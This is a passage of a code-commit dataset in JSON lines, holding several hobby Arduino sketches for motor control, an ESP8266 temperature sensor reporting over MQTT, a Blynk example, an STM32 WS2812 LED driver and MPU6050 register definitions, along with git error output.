\"Attiny85_IO_basic.h\"\nAttiny attiny;\n#dafine ciara 0\nvoid setup() {\n\n\n}\n\nvoid loop() \n{\n \nif (attiny.ShineSensor()<20)\n {\n attiny.motor(\"AB\", 0, \"digital\");\n }\nelse \n {\n if (attiny.LightSensor(2, \"digital\")==ciara) \n {\n attiny.motor(\"B\", 1, \"digital\");\n }\n else \n {\n attiny.motor(\"A\", 1, \"digital\");\n } \n }\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec '_7kapitolaponovm.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"05adabb186627732e08fb0b5ae8f400ef06dd03e","subject":"minor reformatting of code","message":"minor reformatting of code\n","repos":"whimshot\/arduino,whimshot\/arduino,whimshot\/arduino,whimshot\/arduino,whimshot\/arduino,whimshot\/arduino","old_file":"Spectrum_Shield_ROYGBIV\/Spectrum_Shield_ROYGBIV.ino","new_file":"Spectrum_Shield_ROYGBIV\/Spectrum_Shield_ROYGBIV.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/whimshot\/arduino.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"276a13db8b106a8053148b28e8ff1df1a522f54a","subject":"create Zstabalization","message":"create Zstabalization\n","repos":"SeaSweepersROV\/SeaSweepers2017,SeaSweepersROV\/SeaSweepers2017","old_file":"ZstabalizationTest1\/ZstabalizationTest1.ino","new_file":"ZstabalizationTest1\/ZstabalizationTest1.ino","new_contents":"void setup() {\n \/\/ put your setup code here, to run once:\n\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ZstabalizationTest1\/ZstabalizationTest1.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"21a65f81c69f2ca4abec2165cd42acef0ea24004","subject":"test PietteTech_DHT","message":"test PietteTech_DHT\n","repos":"chaeplin\/esp8266_and_arduino,chaeplin\/esp8266_and_arduino,chaeplin\/esp8266_and_arduino","old_file":"_43-PietteTech_DHT-8266\/_43-PietteTech_DHT-8266.ino","new_file":"_43-PietteTech_DHT-8266\/_43-PietteTech_DHT-8266.ino","new_contents":"#include <ESP8266WiFi.h>\n\/\/ https:\/\/github.com\/knolleary\/pubsubclient\n#include <PubSubClient.h>\n\/\/ for esp8266\n\/\/ https:\/\/github.com\/chaeplin\/PietteTech_DHT-8266\n#include \"PietteTech_DHT.h\"\n#include \"\/usr\/local\/src\/ap_setting.h\"\n\nextern \"C\" {\n#include \"user_interface.h\"\n}\n\n\/\/ system defines\n#define DHTTYPE DHT22 \/\/ Sensor type DHT11\/21\/22\/AM2301\/AM2302\n#define DHTPIN 2 \/\/ Digital pin for communications\n#define DHT_SAMPLE_INTERVAL 2000 \/\/ Sample every two seconds\n\n#define REPORT_INTERVAL 2000 \/\/ in msec\n\nString macToStr(const uint8_t* mac);\nvoid sendmqttMsg(char* topictosend, String payload);\n\nconst char* ssid = WIFI_SSID;\nconst char* password = WIFI_PASSWORD;\nIPAddress mqtt_server = MQTT_SERVER;\n\nchar* topic = \"pubtest\";\n\nString clientName;\nlong lastReconnectAttempt = 0;\nunsigned long startMills;\nbool acquired;\nfloat t, h;\n\nWiFiClient wifiClient;\nPubSubClient client(mqtt_server, 1883, wifiClient);\n\n\/\/declaration\nvoid dht_wrapper(); \/\/ must be declared before the lib initialization\n\n\/\/ Lib instantiate\nPietteTech_DHT DHT(DHTPIN, DHTTYPE, dht_wrapper);\n\n\/\/ globals\nunsigned int DHTnextSampleTime; \/\/ Next time we want to start sample\nbool bDHTstarted; \/\/ flag to indicate we started acquisition\n\n\/\/ This wrapper is in charge of calling\n\/\/ must be defined like this for the lib work\nvoid dht_wrapper() {\n DHT.isrCallback();\n}\n\nboolean reconnect()\n{\n if (!client.connected()) {\n if (client.connect((char*) clientName.c_str())) {\n Serial.println(\"===> mqtt connected\");\n } else {\n Serial.print(\"---> mqtt failed, rc=\");\n Serial.println(client.state());\n }\n }\n return client.connected();\n}\n\nvoid wifi_connect()\n{\n if (WiFi.status() != WL_CONNECTED) {\n \/\/ WIFI\n Serial.println();\n Serial.print(\"===> WIFI ---> Connecting to \");\n Serial.println(ssid);\n delay(10);\n\n WiFi.mode(WIFI_STA);\n WiFi.begin(ssid, password);\n\n int Attempt = 0;\n while (WiFi.status() != WL_CONNECTED) {\n Serial.print(\". \");\n Serial.print(Attempt);\n delay(100);\n Attempt++;\n if (Attempt == 250)\n {\n Serial.println();\n Serial.println(\"-----> Could not connect to WIFI\");\n ESP.restart();\n delay(200);\n }\n\n }\n Serial.println();\n Serial.print(\"===> WiFi connected\");\n Serial.print(\" ------> IP address: \");\n Serial.println(WiFi.localIP());\n }\n}\n\n\nvoid setup()\n{\n startMills = millis();\n Serial.begin(115200);\n\n wifi_connect();\n\n clientName += \"esp8266-\";\n uint8_t mac[6];\n WiFi.macAddress(mac);\n clientName += macToStr(mac);\n clientName += \"-\";\n clientName += String(micros() & 0xff, 16);\n\n\n Serial.println(clientName);\n\n acquired = false;\n\n int result = DHT.acquireAndWait(1000);\n if ( result == DHTLIB_OK ) {\n t = DHT.getCelsius();\n h = DHT.getHumidity();\n acquired = true;\n } else {\n t = h = 0;\n }\n\n DHTnextSampleTime = 0; \/\/ Start the first sample immediately\n\n}\n\nvoid loop()\n{\n if (WiFi.status() == WL_CONNECTED) {\n if (!client.connected()) {\n long now = millis();\n if (now - lastReconnectAttempt > 200) {\n lastReconnectAttempt = now;\n if (reconnect()) {\n lastReconnectAttempt = 0;\n }\n }\n } else {\n if (millis() > DHTnextSampleTime) {\n if (!bDHTstarted) {\n DHT.acquire();\n bDHTstarted = true;\n acquired = false;\n }\n\n if (!DHT.acquiring()) {\n int result = DHT.getStatus();\n if ( result == 0 ) {\n t = DHT.getCelsius();\n h = DHT.getHumidity();\n\n bDHTstarted = false;\n acquired = true;\n DHTnextSampleTime = millis() + DHT_SAMPLE_INTERVAL;\n }\n }\n }\n\n if ((millis() - startMills) > REPORT_INTERVAL && acquired == true) {\n String payload ;\n payload += \"{\\\"startMills\\\":\";\n payload += millis();\n payload += \",\\\"Temperature\\\":\";\n payload += t;\n payload += \",\\\"Humidity\\\":\";\n payload += h;\n payload += \",\\\"FreeHeap\\\":\";\n payload += ESP.getFreeHeap();\n payload += \",\\\"RSSI\\\":\";\n payload += WiFi.RSSI();\n payload += \"}\";\n\n sendmqttMsg(topic, payload);\n startMills = millis();\n }\n client.loop();\n }\n } else {\n wifi_connect();\n }\n}\n\nvoid sendmqttMsg(char* topictosend, String payload)\n{\n if (client.connected()) {\n Serial.print(\"Sending payload: \");\n Serial.print(payload);\n\n unsigned int msg_length = payload.length();\n\n Serial.print(\" length: \");\n Serial.println(msg_length);\n\n byte* p = (byte*)malloc(msg_length);\n memcpy(p, (char*) payload.c_str(), msg_length);\n\n if ( client.publish(topictosend, p, msg_length)) {\n Serial.println(\"Publish ok\");\n free(p);\n \/\/return 1;\n } else {\n Serial.println(\"Publish failed\");\n free(p);\n \/\/return 0;\n }\n }\n}\n\nString macToStr(const uint8_t* mac)\n{\n String result;\n for (int i = 0; i < 6; ++i) {\n result += String(mac[i], 16);\n if (i < 5)\n result += ':';\n }\n return result;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec '_43-PietteTech_DHT-8266\/_43-PietteTech_DHT-8266.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"31444be1da9e05e4fd783fb5e6bc3f70dde1f2c9","subject":"Initial checkpoint for Pong","message":"Initial checkpoint for Pong\n","repos":"rniemand\/ArduinoProjects,rniemand\/ArduinoProjects,rniemand\/ArduinoProjects,rniemand\/ArduinoProjects","old_file":"Pong\/Pong.ino","new_file":"Pong\/Pong.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/rniemand\/ArduinoProjects.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"74104d2c8774668e58ccfaeb18479d7920f6aba2","subject":"analogout controls dc motor with serial","message":"analogout controls dc motor with serial","repos":"miikama\/pajakurssi","old_file":"analogout.ino","new_file":"analogout.ino","new_contents":"\/*\n Analog input, analog output, serial output\n \n Reads an analog input pin, maps the result to a range from 0 to 255\n and uses the result to set the pulsewidth modulation (PWM) of an output pin.\n Also prints the results to the serial monitor.\n \n The circuit:\n * potentiometer connected to analog pin 0.\n Center pin of the potentiometer goes to the analog pin.\n side pins of the potentiometer go to +5V and ground\n * LED connected from digital pin 9 to ground\n \n created 29 Dec. 2008\n modified 9 Apr 2012\n by Tom Igoe\n \n This example code is in the public domain.\n \n *\/\n\n\/\/ These constants won't change. They're used to give names\n\/\/ to the pins used:\nconst int analogInPin = A4; \/\/ Analog input pin that the potentiometer is attached to\nconst int analogOutPin = 9; \/\/ Analog output pin that the LED is attached to\n\nint outputValue = 255; \/\/ value output to the PWM (analog out)\nchar intBuffer[12];\nString intData = \"\";\nint delimiter = (int) '\\n';\nint i = 150; \n\nvoid setup() {\n \/\/ initialize serial communications at 9600 bps:\n pinMode(analogOutPin, OUTPUT);\n Serial.begin(115200); \n}\n\nvoid loop() {\n\n analogWrite(analogOutPin, i);\n while(!Serial.available());\n while(1){\n int ch = Serial.read();\n if(ch == -1) {}\n else if (ch == delimiter) {\n break;\n }\n else {\n intData += (char) ch;\n }\n }\n int intLength = intData.length() +1;\n intData.toCharArray(intBuffer, intLength);\n intData = \"\";\n i = atoi(intBuffer);\n \n Serial.print(\"voltage out: \");\n Serial.println(analogOutPin, DEC);\n \n \/\/ change the analog out value:\n analogWrite(analogOutPin, i); \n \n \n\n \/\/ wait 2 milliseconds before the next loop\n \/\/ for the analog-to-digital converter to settle\n \/\/ after the last reading:\n delay(2); \n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'analogout.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e62644b65905732d6ccb435bc08d87371c52104e","subject":"Fix #315","message":"Fix #315\n","repos":"ivankravets\/blynk-library,blynkkk\/blynk-library,blynkkk\/blynk-library,ivankravets\/blynk-library,blynkkk\/blynk-library,ivankravets\/blynk-library,ivankravets\/blynk-library,blynkkk\/blynk-library,blynkkk\/blynk-library,ivankravets\/blynk-library","old_file":"examples\/More\/AppConnectedEvents\/AppConnectedEvents.ino","new_file":"examples\/More\/AppConnectedEvents\/AppConnectedEvents.ino","new_contents":"\/*************************************************************\n Download latest Blynk library here:\n https:\/\/github.com\/blynkkk\/blynk-library\/releases\/latest\n\n Blynk is a platform with iOS and Android apps to control\n Arduino, Raspberry Pi and the likes over the Internet.\n You can easily build graphic interfaces for all your\n projects by simply dragging and dropping widgets.\n\n Downloads, docs, tutorials: http:\/\/www.blynk.cc\n Sketch generator: http:\/\/examples.blynk.cc\n Blynk community: http:\/\/community.blynk.cc\n Follow us: http:\/\/www.fb.com\/blynkapp\n http:\/\/twitter.com\/blynk_app\n\n Blynk library is licensed under MIT license\n This example code is in public domain.\n\n *************************************************************\n\n This sketch shows how to handle App connected\/disconnected events.\n *************************************************************\/\n\n\/* Comment this out to disable prints and save space *\/\n#define BLYNK_PRINT Serial\n\n\n#include <SPI.h>\n#include <Ethernet.h>\n#include <BlynkSimpleEthernet.h>\n\n\/\/ You should get Auth Token in the Blynk App.\n\/\/ Go to the Project Settings (nut icon).\nchar auth[] = \"YourAuthToken\";\n\n\/\/ This is called when Smartohone App is opened\nBLYNK_APP_CONNECTED() { \n Serial.println(\"App Connect\");\n}\n\n\/\/ This is called when Smartohone App is closed\nBLYNK_APP_DISCONNECTED() {\n Serial.println(\"App Disconnect\");\n}\n\n\nvoid setup()\n{\n \/\/ Debug console\n Serial.begin(9600);\n\n Blynk.begin(auth);\n}\n\nvoid loop()\n{\n Blynk.run();\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/More\/AppConnectedEvents\/AppConnectedEvents.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"96dfefb97e64f8342b21b4c0b27a16805e61d5b0","subject":"stm32 arduino added","message":"stm32 arduino added\n","repos":"lechk82\/ledctrl","old_file":"stm32\/ws2812_ch16_spi.ino","new_file":"stm32\/ws2812_ch16_spi.ino","new_contents":"#include \"libmaple\/gpio.h\"\n#include \"libmaple\/dma.h\"\n#include \"libmaple\/timer.h\"\n#include <SPI.h>\n\n\/\/ soft reset stuff\n#define SCB_AIRCR ((volatile uint32*) (0xE000ED00 + 0x0C))\n#define SCB_AIRCR_SYSRESETREQ (1 << 2)\n#define SCB_AIRCR_RESET ((0x05FA0000) | SCB_AIRCR_SYSRESETREQ)\n\n#define pinLED PC13\n#define WS2812_DEADPERIOD 19\n\n#define MIN_COLS 1\n#define MAX_COLS 255\n\n#define ROWS 16\n\n#define HANDSHAKE 0xaa\n\ntypedef union {\n uint16_t val16;\n struct bytes_t {\n unsigned msb : 8;\n unsigned lsb : 8;\n } bytes;\n} val16_t;\n\nuint16_t WS2812_IO_H = 0xFFFF;\nuint16_t WS2812_IO_L = 0x0000;\n\nvolatile uint8_t WS2812_TC = 1;\nvolatile uint8_t TIM4_overflows = 0;\n\n\/* WS2812 framebuffer *\/\nuint16_t *ledbuf;\nuint16_t *WS2812_rxbuffer;\nuint16_t *WS2812_txbuffer;\n\nvolatile uint8_t dma_rx_irq_full_complete = 0;\nvolatile uint8_t dma_rx_irq_half_complete = 0;\n\n\/\/uint16_t cols;\nval16_t cols;\nuint32_t led_bufsize = 0;\n\n\nvoid DMA1_Channel2_IRQHandler(void){\n uint32_t dma_isr = dma_get_isr_bits(DMA1, DMA_CH2);\n if (dma_isr&DMA_ISR_HTIF1) {\n dma_rx_irq_half_complete = 1;\n }\n if (dma_isr&DMA_ISR_TCIF1) {\n dma_rx_irq_full_complete = 1;\n \/\/WS2812_txbuffer = ledbuf;\n }\n dma_clear_isr_bits(DMA1, DMA_CH2);\n digitalWrite(pinLED, LOW);\n}\n\n\/* DMA1 Channel7 Interrupt Handler gets executed once the complete framebuffer has been transmitted to the LEDs *\/\nvoid DMA1_Channel5_IRQHandler(void)\n{\n \/\/ clear DMA7 transfer complete interrupt flag\n dma_clear_isr_bits(DMA1, DMA_CH5); \n \/\/ enable TIM4 Update interrupt to append 50us dead period\n timer_enable_irq(TIMER4, TIMER_UPDATE_INTERRUPT);\n \/\/ disable the DMA channels\n dma_disable(DMA1, DMA_CH7);\n dma_disable(DMA1, DMA_CH4);\n dma_disable(DMA1, DMA_CH5);\n \/\/ IMPORTANT: disable the DMA requests, too!\n timer_dma_disable_req(TIMER4, 1);\n timer_dma_disable_req(TIMER4, 2); \n timer_dma_disable_req(TIMER4, 0); \/* TIM_DMA_Update *\/\n}\n\n\/* TIM4 Interrupt Handler gets executed on every TIM4 Update if enabled *\/\nvoid TIM4_IRQHandler(void)\n{\n \/\/ Clear TIM4 Interrupt Flag\n TIMER4->regs.gen->SR &= ~TIMER_SR_UIF;\n \/* check if certain number of overflows has occured yet \n * this ISR is used to guarantee a 50us dead time on the data lines\n * before another frame is transmitted *\/\n if (TIM4_overflows < (uint8_t)WS2812_DEADPERIOD)\n {\n \/\/ count the number of occured overflows\n TIM4_overflows++;\n }\n else\n {\n \/\/ clear the number of overflows\n TIM4_overflows = 0; \n \/\/ stop TIM4 now because dead period has been reached\n timer_pause(TIMER4);\n \/* disable the TIM4 Update interrupt again \n * so it doesn't occur while transmitting data *\/\n timer_disable_irq(TIMER4, TIMER_UPDATE_INTERRUPT);\n \/\/ finally indicate that the data frame has been transmitted\n \/\/WS2812_rxbuffer = ledbuf;\n WS2812_TC = 1;\n }\n}\n\nvoid GPIO_init(void)\n{\n \/\/ GPIOB Periph clock enable\n rcc_clk_enable(RCC_GPIOB);\n \/\/ GPIOB pins WS2812 data outputs\n gpio_set_mode(GPIOB, 0, GPIO_OUTPUT_PP);\n gpio_set_mode(GPIOB, 1, GPIO_OUTPUT_PP);\n gpio_set_mode(GPIOB, 2, GPIO_OUTPUT_PP);\n gpio_set_mode(GPIOB, 3, GPIO_OUTPUT_PP);\n gpio_set_mode(GPIOB, 4, GPIO_OUTPUT_PP);\n gpio_set_mode(GPIOB, 5, GPIO_OUTPUT_PP);\n gpio_set_mode(GPIOB, 6, GPIO_OUTPUT_PP);\n gpio_set_mode(GPIOB, 7, GPIO_OUTPUT_PP);\n gpio_set_mode(GPIOB, 8, GPIO_OUTPUT_PP);\n gpio_set_mode(GPIOB, 9, GPIO_OUTPUT_PP);\n gpio_set_mode(GPIOB, 10, GPIO_OUTPUT_PP);\n gpio_set_mode(GPIOB, 11, GPIO_OUTPUT_PP);\n gpio_set_mode(GPIOB, 12, GPIO_OUTPUT_PP);\n gpio_set_mode(GPIOB, 13, GPIO_OUTPUT_PP);\n gpio_set_mode(GPIOB, 14, GPIO_OUTPUT_PP);\n gpio_set_mode(GPIOB, 15, GPIO_OUTPUT_PP);\n}\n\nvoid TIM4_init(void) {\n uint32_t SystemCoreClock = 72000000;\n uint16_t prescalerValue = (uint16_t) (SystemCoreClock \/ 24000000) - 1;\n rcc_clk_enable(RCC_TIMER4);\n \/* Time base configuration *\/\n timer_pause(TIMER4);\n timer_set_prescaler(TIMER4, prescalerValue);\n timer_set_reload(TIMER4, 29); \/\/ 800kHz\n \n \/* Timing Mode configuration: Channel 1 *\/\n timer_set_mode(TIMER4, 2, TIMER_OUTPUT_COMPARE);\n timer_set_compare(TIMER4, 2, 8);\n timer_oc_set_mode(TIMER4, 2, TIMER_OC_MODE_FROZEN, ~TIMER_OC_PE);\n\n \/* Timing Mode configuration: Channel 2 *\/\n timer_set_mode(TIMER4, 3, TIMER_OUTPUT_COMPARE);\n timer_set_compare(TIMER4, 3, 17);\n timer_oc_set_mode(TIMER4, 3, TIMER_OC_MODE_PWM_1, ~TIMER_OC_PE);\n \/\/timer_resume(TIMER4);\n\n\n timer_attach_interrupt(TIMER4, TIMER_UPDATE_INTERRUPT, TIM4_IRQHandler);\n \/* configure TIM4 interrupt *\/\n nvic_irq_set_priority(NVIC_TIMER4, 3);\n nvic_irq_enable(NVIC_TIMER4);\n}\n\nvoid DMA_init(void) {\n dma_init(DMA1);\n dma_setup_transfer( DMA1, \n DMA_CH7, \n (volatile void*) &(GPIOB->regs->ODR), \n DMA_SIZE_16BITS,\n (volatile void*) &(WS2812_IO_H),\n DMA_SIZE_16BITS, \n DMA_FROM_MEM\n );\n dma_set_priority(DMA1, DMA_CH7, DMA_PRIORITY_HIGH);\n\n dma_setup_transfer( DMA1,\n DMA_CH4,\n (volatile void*) &(GPIOB->regs->ODR),\n DMA_SIZE_16BITS,\n (volatile void*) WS2812_txbuffer,\n DMA_SIZE_16BITS,\n DMA_FROM_MEM | DMA_MINC_MODE\n );\n dma_set_priority(DMA1, DMA_CH4, DMA_PRIORITY_HIGH);\n\n dma_setup_transfer( DMA1,\n DMA_CH5,\n (volatile void*) &(GPIOB->regs->ODR),\n DMA_SIZE_16BITS,\n (volatile void*) &(WS2812_IO_L),\n DMA_SIZE_16BITS,\n DMA_FROM_MEM | DMA_TRNS_CMPLT\n );\n dma_set_priority(DMA1, DMA_CH5, DMA_PRIORITY_HIGH);\n\n\n \/* configure DMA1 Channel7 interrupt *\/\n nvic_irq_set_priority(NVIC_DMA_CH5, 1);\n nvic_irq_enable(NVIC_DMA_CH5);\n dma_attach_interrupt(DMA1, DMA_CH5, DMA1_Channel5_IRQHandler);\n \/* enable DMA1 Channel7 transfer complete interrupt *\/\n}\n\nvoid ledSend(uint32_t size){ \n \/\/ transmission complete flag, indicate that transmission is taking place\n WS2812_TC = 0;\n \/\/ clear all relevant DMA flags\n dma_clear_isr_bits(DMA1, DMA_CH7);\n dma_clear_isr_bits(DMA1, DMA_CH4);\n dma_clear_isr_bits(DMA1, DMA_CH5);\n\n dma_disable(DMA1, DMA_CH7);\n dma_disable(DMA1, DMA_CH4);\n dma_disable(DMA1, DMA_CH5);\n \/\/ IMPORTANT: disable the DMA requests, too!\n \n timer_dma_disable_req(TIMER4, 3);\n timer_dma_disable_req(TIMER4, 2); \n timer_dma_disable_req(TIMER4, 0);\n \n \n \/\/ configure the number of bytes to be transferred by the DMA controller\n \/\/dma_set_mem_addr(DMA1, DMA_CH4, WS2812_rxbuffer);\n dma_set_num_transfers(DMA1, DMA_CH7, size);\n dma_set_num_transfers(DMA1, DMA_CH4, size);\n dma_set_num_transfers(DMA1, DMA_CH5, size);\n\n \/\/ clear all TIM4 flags\n TIMER4->regs.gen->SR = 0;\n \n \/\/ enable the corresponding DMA channels\n dma_enable(DMA1, DMA_CH7);\n dma_enable(DMA1, DMA_CH4);\n dma_enable(DMA1, DMA_CH5);\n \/\/ IMPORTANT: enable the TIM4 DMA requests AFTER enabling the DMA channels!\n timer_dma_enable_req(TIMER4, 3);\n timer_dma_enable_req(TIMER4, 2);\n timer_dma_enable_req(TIMER4, 0); \/* TIM_DMA_Update *\/\n \n \/\/ preload counter with 29 so TIM4 generates UEV directly to start DMA transfer\n timer_set_count(TIMER4, 29);\n \n \/\/ start TIM4\n timer_resume(TIMER4);\n}\n\nvoid ledSetPixel(uint8_t row, uint16_t column, uint8_t red, uint8_t green, uint8_t blue, uint16_t *pbuf){\nuint8_t i;\nuint32_t offset=column*3*8;\nuint32_t pos_g;\nuint32_t pos_r;\nuint32_t pos_b;\nuint16_t delmask = ~(0x0001<<row);\n\n for (i = 0; i < 8; i++){\n pos_g=offset+i;\n pos_r=pos_g+8;\n pos_b=pos_r+8;\n \/\/ clear the data for pixel\n pbuf[pos_g] &= delmask;\n pbuf[pos_r] &= delmask;\n pbuf[pos_b] &= delmask;\n \/\/ write new data for pixel\n pbuf[pos_g] |= (((((uint16_t)green<<(i+ROWS-8)) & (0x0001<<ROWS-1))>>(ROWS-1))<<row);\n pbuf[pos_r] |= (((((uint16_t)red<<(i+ROWS-8)) & (0x0001<<ROWS-1))>>(ROWS-1))<<row);\n pbuf[pos_b] |= (((((uint16_t)blue<<(i+ROWS-8)) & (0x0001<<ROWS-1))>>(ROWS-1))<<row);\n }\n}\n\nvoid ledWakeUpSequence(void){\nuint32_t row;\nuint32_t col;\nuint8_t val;\n \/\/ fade in\n val=0;\n while(val!=255){\n for(row=0;row<ROWS;row++){\n for(col=0;col<cols.val16;col++){\n ledSetPixel(row, col, val, val, val, ledbuf);\n }\n }\n val++;\n ledSend(led_bufsize);\n while(!WS2812_TC);\n \n }\n \n \/\/ fade out\n val=255;\n while(val!=0){\n val--;\n for(row=0;row<ROWS;row++){\n for(col=0;col<cols.val16;col++){\n ledSetPixel(row, col, val, val, val, ledbuf);\n }\n }\n ledSend(led_bufsize);\n while(!WS2812_TC);\n }\n}\n\nvoid setup() {\nint col,row;\nuint8_t initdata;\n pinMode(pinLED, OUTPUT);\n \n Serial.begin(115200);\n delay(100);\n\n\n SPI.setModule(1);\n SPI.setDataSize(8);\n SPI.beginSlave();\n\n Serial.println(F(\"OK: Waiting for Handshake...\"));\n \n initdata = SPI.read();\n cols.bytes.msb= SPI.read();\n cols.bytes.lsb= SPI.read();\n if(initdata != HANDSHAKE){\n Serial.print(F(\"ERR: Magic number HANDSHAKE not received (0x\"));\n Serial.print(initdata,HEX);\n Serial.print(F(\").\\n\"));\n }\n else{\n Serial.print(F(\"OK: Magic number received (0x\"));\n Serial.print(initdata,HEX);\n Serial.print(F(\").\\n\"));\n }\n \n if (!((cols.val16 >= MIN_COLS) && (cols.val16 <= MAX_COLS))) {\n Serial.println(F(\"ERR: #cols not within range. Setting to cols=1 failsafe mode\"));\n cols.val16=1;\n }\n else{\n Serial.print(F(\"OK: Number of cols received (\"));\n Serial.print(cols.val16,DEC);\n Serial.print(F(\").\\n\"));\n }\n \n\n led_bufsize=cols.val16*8*3;\n ledbuf=(uint16_t *)malloc(led_bufsize);\n if (!ledbuf){\n Serial.println(F(\"ERR: Allocating memory buffer failed\"));\n }\n else{\n Serial.print(F(\"OK: \"));\n Serial.print(led_bufsize*2,DEC);\n Serial.println(F(\" bytes memory buffer allocated.\"));\n }\n \n SPI.write((unsigned int)HANDSHAKE);\n SPI.read();\n SPI.write((unsigned int)cols.bytes.msb);\n SPI.read(); \/\/dummy read\n SPI.write((unsigned int)cols.bytes.lsb);\n SPI.read(); \/\/dummy read\n \n WS2812_txbuffer = ledbuf;\n\n GPIO_init();\n DMA_init();\n TIM4_init();\n WS2812_TC=0;\n \n int ret;\n \/\/memset(ledbuf,0,led_bufsize);\n\n\n dma_clear_isr_bits(DMA1, DMA_CH2);\n spi_rx_dma_enable(SPI1);\n dma_disable(DMA1, DMA_CH2); \/\/ Disable the DMA tube.\n dma_tube_config rx_tube_cfg = {\n &(SPI1->regs->DR), \/\/ data source address\n DMA_SIZE_8BITS, \/\/ source transfer size\n (uint8_t*)ledbuf, \/\/ data destination address \n DMA_SIZE_8BITS, \/\/ destination transfer size\n led_bufsize*2, \/\/ nr. of data to transfer\n \/\/ tube flags: auto increment dest addr, circular rx_buffer, set tube full IRQ, very high prio:\n ( DMA_CFG_DST_INC | DMA_CFG_CIRC | DMA_CFG_HALF_CMPLT_IE | DMA_CFG_CMPLT_IE | DMA_CCR_PL_VERY_HIGH ),\n 0, \/\/ unused\n DMA_REQ_SRC_SPI1_RX, \/\/ Hardware DMA request source\n };\n ret = dma_tube_cfg(DMA1, DMA_CH2, &rx_tube_cfg); \/\/ SPI1 Rx channel is nr. 2\n\n dma_attach_interrupt(DMA1, DMA_CH2, DMA1_Channel2_IRQHandler); \/\/ attach an interrupt handler.\n dma_enable(DMA1, DMA_CH2); \/\/ Enable the DMA tube. It will now begin serving requests.\n \n if(ret!=0){\n Serial.println(F(\"ERR: dma_ch2 spi rx init error\"));\n }\n else{\n digitalWrite(pinLED, HIGH);\n Serial.println(F(\"OK: Init done.\"));\n }\n\n}\n\nvoid loop() {\n while(dma_rx_irq_half_complete==0) digitalWrite(pinLED, HIGH);\n dma_rx_irq_half_complete=0;\n ledSend(led_bufsize);\n while(!WS2812_TC);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'stm32\/ws2812_ch16_spi.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a4a73258a7f2d9f713efc7dafe67c23e09ef1137","subject":"Initial Commit","message":"Initial Commit\n","repos":"mguida22\/InForm,mguida22\/InForm,mguida22\/InForm,mguida22\/InForm","old_file":"SensorShirt\/SensorShirt.ino","new_file":"SensorShirt\/SensorShirt.ino","new_contents":"\/*\n Sensor Shirt\n Kylie Dale and Michael Guida\n *\/\n\nvoid setup() {\n Serial.begin(9600);\n}\n\nvoid loop() {\n int sensorValue = analogRead(A0);\n Serial.println(sensorValue);\n delay(300);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'SensorShirt\/SensorShirt.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4113d64297f6febdd651c157018170de9cc5485e","subject":"Left Hand","message":"Left Hand\n\nInitial Commit for Arduino C Code : Arduino Pro Mini\n","repos":"ashwinpilgaonkar\/Flick,ashwinpilgaonkar\/Flick,ashwinpilgaonkar\/Flick","old_file":"BitBangingMpu6050\/LeftHand.ino","new_file":"BitBangingMpu6050\/LeftHand.ino","new_contents":"\/\/Flick Project\n#define SDA_PORT PORTD\n#define SDA_PIN 4\n#define SCL_PORT PORTD\n#define SCL_PIN 5\n\n#define I2C_TIMEOUT 100\n#define I2C_FASTMODE 1\n \n#include \"SoftWire.h\"\n\n#include <SoftwareSerial.h>\nSoftwareSerial mySerial(2, 3);\n\nSoftWire Wire = SoftWire();\n\n\n\/\/ The name of the sensor is \"MPU-6050\".\n\/\/ For program code, I omit the '-',\n\/\/ therefor I use the name \"MPU6050....\".\n \n \n\/\/ Register names according to the datasheet.\n\/\/ According to the InvenSense document\n\/\/ \"MPU-6000 and MPU-6050 Register Map\n\/\/ and Descriptions Revision 3.2\", there are no registers\n\/\/ at 0x02 ... 0x18, but according other information\n\/\/ the registers in that unknown area are for gain\n\/\/ and offsets.\n\/\/\n#define MPU6050_AUX_VDDIO 0x01 \/\/ R\/W\n#define MPU6050_SMPLRT_DIV 0x19 \/\/ R\/W\n#define MPU6050_CONFIG 0x1A \/\/ R\/W\n#define MPU6050_GYRO_CONFIG 0x1B \/\/ R\/W\n#define MPU6050_ACCEL_CONFIG 0x1C \/\/ R\/W\n#define MPU6050_FF_THR 0x1D \/\/ R\/W\n#define MPU6050_FF_DUR 0x1E \/\/ R\/W\n#define MPU6050_MOT_THR 0x1F \/\/ R\/W\n#define MPU6050_MOT_DUR 0x20 \/\/ R\/W\n#define MPU6050_ZRMOT_THR 0x21 \/\/ R\/W\n#define MPU6050_ZRMOT_DUR 0x22 \/\/ R\/W\n#define MPU6050_FIFO_EN 0x23 \/\/ R\/W\n#define MPU6050_I2C_MST_CTRL 0x24 \/\/ R\/W\n#define MPU6050_I2C_SLV0_ADDR 0x25 \/\/ R\/W\n#define MPU6050_I2C_SLV0_REG 0x26 \/\/ R\/W\n#define MPU6050_I2C_SLV0_CTRL 0x27 \/\/ R\/W\n#define MPU6050_I2C_SLV1_ADDR 0x28 \/\/ R\/W\n#define MPU6050_I2C_SLV1_REG 0x29 \/\/ R\/W\n#define MPU6050_I2C_SLV1_CTRL 0x2A \/\/ R\/W\n#define 